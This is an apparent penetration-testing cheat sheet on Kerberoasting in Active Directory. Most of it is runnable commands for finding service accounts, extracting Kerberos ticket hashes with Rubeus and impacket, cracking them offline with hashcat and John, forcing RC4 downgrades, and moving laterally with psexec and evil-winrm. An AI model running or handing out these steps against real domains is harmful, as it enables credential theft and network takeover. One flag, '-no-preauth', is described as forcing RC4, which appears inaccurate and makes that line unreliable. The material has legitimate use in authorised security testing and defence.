Kerberoasting
Table of Contents
An Active Directory attack that requests Kerberos service tickets for accounts with registered SPNs, extracts the ticket hash, and cracks it offline. Requires only a valid domain user account — no elevated privileges. The encrypted ticket is returned by the DC legitimately, making the request itself benign and hard to detect.
Related: Kerberos BloodHound Active Directory Attack Path Hashcat John The Ripper Msfvenom
How It Works
- Any authenticated domain user requests a Service Ticket (TGS) for an SPN-registered account from the KDC
- The DC encrypts the ticket with the service account's NTLM hash
- The attacker extracts the encrypted portion (TGS-REP hash)
- Hash is taken offline and cracked — no network interaction needed
The attack targets service accounts because they often have weak passwords set by humans, rarely rotated, and frequently over-privileged.
1. Discovery — Find Kerberoastable Accounts
# PowerShell — domain-joined machine Get-ADUser -Filter 'ServicePrincipalName -ne "$null"' ` -Properties ServicePrincipalName | Select Name, ServicePrincipalName # PowerView Import-Module .\PowerView.ps1 Get-DomainUser -SPN | Select samaccountname, serviceprincipalname # From Linux with valid credentials impacket-GetUserSPNs -dc-ip $DC_IP domain.local/user:password
BloodHound query: Find Kerberoastable Accounts — also shows if any have paths to Domain Admin.
2. Extraction
From Windows
# Rubeus — most reliable, outputs hashes directly .\Rubeus.exe kerberoast /outfile:hashes.txt # Specific user .\Rubeus.exe kerberoast /user:SQLService /outfile:hashes.txt # PowerView Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File hashes.txt -Encoding ascii
From Linux
# Impacket — request and extract in one step impacket-GetUserSPNs \ -dc-ip $DC_IP \ -request \ domain.local/user:password \ -outputfile hashes.txt # With NTLM hash instead of password impacket-GetUserSPNs \ -dc-ip $DC_IP \ -request \ -hashes :NTLM_HASH \ domain.local/user
Hash format (Hashcat mode 13100):
$krb5tgs$23$*SQLService$DOMAIN.LOCAL$domain.local/SQLService*$<hash>
3. Offline Cracking
# Hashcat — mode 13100 for RC4 (type 23), mode 19600 for AES256 hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 19600 hashes.txt /usr/share/wordlists/rockyou.txt # With rules hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --rules=best64 # John john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs
4. RC4 vs AES — Downgrade Attack
Modern AD defaults to AES256 tickets which are slower to crack. If the account supports RC4 it can be forced — RC4 (type 23) cracks significantly faster than AES256 (type 18):
# Rubeus — force RC4 .\Rubeus.exe kerberoast /outfile:hashes.txt /tgtdeleg # Impacket — force RC4 impacket-GetUserSPNs -dc-ip $DC_IP domain.local/user:password \ -request -outputfile hashes.txt -no-preauth
5. Post-Crack
With the service account password:
# Authenticate as the service account impacket-psexec domain.local/SQLService:password@$TARGET # If service account is local admin on machines — lateral movement evil-winrm -i $TARGET -u SQLService -p password # Check BloodHound — does this account have a path to DA? # If GenericAll / WriteDACL / AdminTo anywhere interesting
Tips
- Always check BloodHound before cracking — if the service account has no path to DA, cracking it may not advance the engagement
- RC4 downgrade is worth attempting before committing to a long AES crack — significant time saving on slow hardware
- Service accounts with SPNs are visible to all domain users — enumerate them early in AD engagements via BloodHound collection
- If rockyou fails, try
rockyou.txtwithbest64rules before moving to larger wordlists — service account passwords are often simple words with common mutations - ASREPRoasting is the related technique for accounts with Kerberos pre-auth disabled — no credentials needed at all for that one